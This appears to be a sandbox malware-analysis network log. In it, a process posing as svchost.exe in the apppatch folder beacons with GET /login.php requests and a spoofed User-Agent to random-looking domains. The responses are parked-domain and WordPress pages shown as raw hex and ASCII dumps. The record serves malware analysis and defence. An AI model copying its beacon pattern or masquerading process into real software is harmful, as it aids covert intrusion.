                                                                                                                                                                                                                    2024-11-11 17:49:00 UTC1369INData Raw: 65 5d 3a 3a 2d 77 65 62 6b 69 74 2d 73 6c 69 64 65 72 2d 74 68 75 6d 62 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 7d 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 66 6f 63 75 73 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 31 30 34 30 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76
                                                                                                                                                                                                                    Data Ascii: e]::-webkit-slider-thumb{border-color:#d10404;background-color:#d10404;box-shadow:none;}.site-footer a:hover + .post-count,.site-footer a:focus + .post-count{background:#d10404;border-color:#d10404;}.single .nav-links .nav-previous,.single .nav-links .nav
                                                                                                                                                                                                                    2024-11-11 17:49:00 UTC1369INData Raw: 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 69 66 62 2d 63 74 61 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 75 61 67 62 2d 62 75 74 74 6f 6e 73 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 62 62 2d 6d 6f 64 75 6c 65 2d 63 6f 6e 74 65 6e 74 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 70 6f 73 74 2d 67 72 69 64 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e
                                                                                                                                                                                                                    Data Ascii: content .uagb-ifb-cta a,.ast-single-post .entry-content .wp-block-uagb-buttons a,.ast-single-post .entry-content .uabb-module-content a,.ast-single-post .entry-content .uagb-post-grid a,.ast-single-post .entry-content .uagb-timeline a,.ast-single-post .en
                                                                                                                                                                                                                    2024-11-11 17:49:00 UTC1369INData Raw: 69 73 69 62 6c 65 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6a 73 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 2d 69 74 65 6d 20 61 2e 72 65 6d 6f 76 65 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 74 68 69 6e 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 69 6e 70 75 74 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b
                                                                                                                                                                                                                    Data Ascii: isible,.woocommerce-js .woocommerce-mini-cart-item a.remove:focus-visible{outline-style:dotted;outline-color:inherit;outline-width:thin;border-color:transparent;}input:focus,input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[
                                                                                                                                                                                                                    2024-11-11 17:49:00 UTC1369INData Raw: 6e 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 45 64 69 74 41 63 63 6f 75 6e 74 46 6f 72 6d 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 66 6f 72 6d 2d 72 6f 77 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 49 6e 70 75 74 2e 69 6e 70 75 74 2d 74 65 78 74 3a 66 6f 63 75 73 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 2e 61 73 74 2d 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 69 6e 61 74 69 6f 6e 20 75 6c 2e 70 61 67 65 2d 6e 75 6d 62 65 72 73 20 6c 69 20 61 3a 66 6f 63 75 73 2c 62 6f 64 79 20 23 63 6f 6e 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 72 6f 77 20 2e 73 65 6c 65 63 74 32 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 64 65 66 61 75 6c 74 20 2e
                                                                                                                                                                                                                    Data Ascii: ntent .woocommerce-EditAccountForm .woocommerce-form-row .woocommerce-Input.input-text:focus,.woocommerce .ast-woocommerce-container .woocommerce-pagination ul.page-numbers li a:focus,body #content .woocommerce form .form-row .select2-container--default .


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    12192.168.2.45016575.2.71.1994437436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:50:07 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: puzylyp.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC352INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Alt-Svc: h3=":443"; ma=2592000
                                                                                                                                                                                                                    Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:08 GMT
                                                                                                                                                                                                                    Etag: "4wrymbzlfa19wv"
                                                                                                                                                                                                                    Server: Caddy
                                                                                                                                                                                                                    Server: awselb/2.0
                                                                                                                                                                                                                    Vary: Accept-Encoding
                                                                                                                                                                                                                    X-Powered-By: Next.js
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC2372INData Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 38 30 78 31 38 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 70 75 62 6c 69 63 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31
                                                                                                                                                                                                                    Data Ascii: 8000<!DOCTYPE html><html lang="en-US"><head><meta charSet="utf-8"/><link rel="apple-touch-icon" sizes="180x180" href="https://d15wejze7d2tlj.cloudfront.net/v1/public/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="https://d1
                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC1724INData Raw: 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 31 35 35 61 35 35 36 2d 37 32 37 37 64 32 30 35 62 33 61 39 36 64 64 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 37 37 39 62 62 35 65 2d 65 33 34 61 63 36 66 32 62 33 32 65 65 39 62 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f
                                                                                                                                                                                                                    Data Ascii: ext/static/chunks/b155a556-7277d205b3a96dd1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/chunks/b779bb5e-e34ac6f2b32ee9b1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/
                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC4744INData Raw: 78 2d 63 6f 6c 20 67 61 70 2d 32 20 6d 62 2d 36 22 3e 3c 68 32 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 78 6c 20 66 6f 6e 74 2d 62 6f 6c 64 20 73 6d 3a 74 65 78 74 2d 32 78 6c 22 3e 49 6e 71 75 69 72 65 20 74 6f 64 61 79 20 74 6f 20 73 65 63 75 72 65 20 74 68 69 73 20 64 6f 6d 61 69 6e 3c 2f 68 32 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 73 6d 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 73 6d 3a 74 65 78 74 2d 62 61 73 65 22 3e 50 6c 65 61 73 65 20 63 6f 6d 70 6c 65 74 65 20 74 68 65 20 66 6f 72 6d 20 62 65 6c 6f 77 20 61 6e 64 20 77 65 20 77 69 6c 6c 20 63 6f 6e 6e 65 63 74 20 79 6f 75 20 77 69 74 68 20 6f 6e 65 20 6f 66 20 6f 75 72 20 64 6f 6d 61 69 6e 20 65 78 70 65 72 74 73 2e
                                                                                                                                                                                                                    Data Ascii: x-col gap-2 mb-6"><h2 class="font-Inter text-xl font-bold sm:text-2xl">Inquire today to secure this domain</h2><span class="font-Inter text-sm font-normal sm:text-base">Please complete the form below and we will connect you with one of our domain experts.
                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC5930INData Raw: 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 44 45 22 3e 44 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 34 39 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 50 45 22 3e 50 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 31 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 4d 58 22 3e 4d 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 32 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 55 22 3e 43 55 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 33 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e
                                                                                                                                                                                                                    Data Ascii: -- -->)</option><option value="DE">DE... --> (+... -->49... -->)</option><option value="PE">PE... --> (+... -->51... -->)</option><option value="MX">MX... --> (+... -->52... -->)</option><option value="CU">CU... --> (+... -->53... -->)</option
                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC7116INData Raw: 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 36 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 59 22 3e 43 59 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 37 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 41 58 22 3e 41 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 46 49 22 3e 46 49 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 42 47 22 3e 42 47 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20
                                                                                                                                                                                                                    Data Ascii: --> (+... -->356... -->)</option><option value="CY">CY... --> (+... -->357... -->)</option><option value="AX">AX... --> (+... -->358... -->)</option><option value="FI">FI... --> (+... -->358... -->)</option><option value="BG">BG... --> (+...
                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC8302INData Raw: 69 63 65 2d 72 65 71 75 65 73 74 2d 66 6f 72 6d 2d 69 64 22 20 74 69 74 6c 65 3d 22 47 65 74 20 70 72 69 63 65 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 65 6e 64 49 63 6f 6e 3d 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 65 6e 74 65 72 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 31 2e 35 20 6d 78 2d 61 75 74 6f 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 32 22 3e 47 65 74 20 70 72 69 63 65 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20
                                                                                                                                                                                                                    Data Ascii: ice-request-form-id" title="Get price" aria-label="Get price" label="Get price" endIcon="[object Object]"><span class="flex justify-center items-center gap-1.5 mx-auto"><div class="flex items-center gap-2">Get price<svg xmlns="http://www.w3.org/2000/svg"
                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC2586INData Raw: 30 2e 33 76 2e 30 36 37 68 2d 2e 31 33 36 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 56 2e 37 36 48 39 2e 39 36 76 2e 30 36 38 68 2d 2e 31 33 36 76 2e 30 36 37 68 2d 2e 30 36 38 76 2e 30 36 38 48 39 2e 36 39 76 2e 30 36 38 48 39 2e 36 32 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 31 33 35 76 2e 30 36 37 48 39 2e 33 35 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 39 2e 30 38 76 2e 30 36 38 48 39 2e 30 31 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 76 2e 30 36 37 48 38 2e 37 34 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 38
                                                                                                                                                                                                                    Data Ascii: 0.3v.067h-.136v.068h-.068v.068h-.067V.76H9.96v.068h-.136v.067h-.068v.068H9.69v.068H9.62v.068h-.068v.068h-.135v.067H9.35v.068h-.068v.068h-.068v.068h-.068v.067H9.08v.068H9.01v.068h-.068v.068h-.068v.068h-.067v.067H8.74v.068h-.068v.068h-.068v.068h-.068v.067H8
                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC2INData Raw: 0d 0a
                                                                                                                                                                                                                    Data Ascii:
                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC4096INData Raw: 36 38 38 31 0d 0a 65 6e 74 43 6f 6c 6f 72 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 39 2e 36 37 20 34 2e 34 37 34 68 2d 33 2e 39 34 36 76 31 31 2e 32 38 37 68 33 2e 39 34 35 63 33 2e 36 30 36 20 30 20 35 2e 39 35 2d 32 2e 32 31 35 20 35 2e 39 35 2d 35 2e 36 32 37 20 30 2d 33 2e 34 32 39 2d 32 2e 33 34 34 2d 35 2e 36 36 2d 35 2e 39 35 2d 35 2e 36 36 6d 2d 31 2e 36 38 33 20 39 2e 33 36 32 56 36 2e 33 38 32 68 31 2e 36 30 31 63 32 2e 33 37 38 20 30 20 33 2e 37 32 20 31 2e 34 30 37 20 33 2e 37 32 20 33 2e 37 35 32 73 2d 31 2e 33 34 32 20 33 2e 37 30 32 2d 33 2e 37 32 20 33 2e 37 30 32 7a 6d 31 37 2e 39 38 32 2d 32 2e 35 35 34 63 30 2d 32 2e 38 33 2d 32 2e 30 32 32 2d 34 2e 36 32 35 2d 34 2e 36 30 39 2d 34 2e 36 32 35 73
                                                                                                                                                                                                                    Data Ascii: 6881entColor" fill-rule="evenodd" d="M29.67 4.474h-3.946v11.287h3.945c3.606 0 5.95-2.215 5.95-5.627 0-3.429-2.344-5.66-5.95-5.66m-1.683 9.362V6.382h1.601c2.378 0 3.72 1.407 3.72 3.752s-1.342 3.702-3.72 3.702zm17.982-2.554c0-2.83-2.022-4.625-4.609-4.625s
                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC13046INData Raw: 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 35 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 31 33 35 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 31 33 35 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 37 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 38 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 31 33 36
                                                                                                                                                                                                                    Data Ascii: 068h-.068v-.068h-.135v-.068h-.136v-.068h-.136v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.068v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.136v-.135h-.067v-.068h-.068v-.068h-.068v-.135h-.068v-.068h-.068v-.068h-.067v-.136h-.068v-.067h-.068v-.136h-.068v-.136


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                    13192.168.2.450166188.114.96.3443
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:50:08 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyhig.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC954INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:08 GMT
                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                    expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                    link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h2RT5G0LJctOMjG2aH3nHg%2BQusIc6Da6tqmp7c5SFzcT3iPo4aAiEIKQ4cd9ij%2BBkkiMILkjt%2FKMT%2FNgJW8ZmYWVTnXxjAXUv9pUX7EjDBB%2FSEbiHEOm20ZKHkfA%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101f748ac8c468-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1138&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=881&delivery_rate=2175807&cwnd=244&unsent_bytes=0&cid=fcf56d779633c894&ts=1011&x=0"
                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC415INData Raw: 37 63 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                                    Data Ascii: 7ca4<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC1369INData Raw: 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61
                                                                                                                                                                                                                    Data Ascii: </style><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><meta
                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC1369INData Raw: 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61
                                                                                                                                                                                                                    Data Ascii: unction c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.ca
